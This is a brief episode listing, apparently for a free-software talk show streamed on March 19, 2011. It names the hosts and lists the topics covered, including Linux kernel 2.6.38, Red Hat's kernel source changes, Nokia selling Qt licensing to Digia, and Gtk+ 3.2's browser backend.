    Tonight's episode will hosted by: Ilya (dotCOMmie) Sukhanov, Bill Burns, Jonathan Dahan, and Chris Knadle, and was engineered by Bobanero. It was streamed live at 10:00 PM EDT, and some of the hosts were in the chatroom at irc.freenode.net#fsrt .

    The following topics were discussed:

    • Kernel 2.6.38 [1]
    • GMA 500 [2]
    • Yocto [3]
    • Red Hat defends changes to kernel source distribution [4]
    • Canonical vs. GNOME Drama [5]
    • Nokia Sells Qt Licensing, Services Business to Digia [6] [7]
    • Gtk+ 3.2 Will let you run any application in a browser (Remotely Too) [8]

    by ron@vnetworx.net (argee) at March 19, 2011 11:31 PM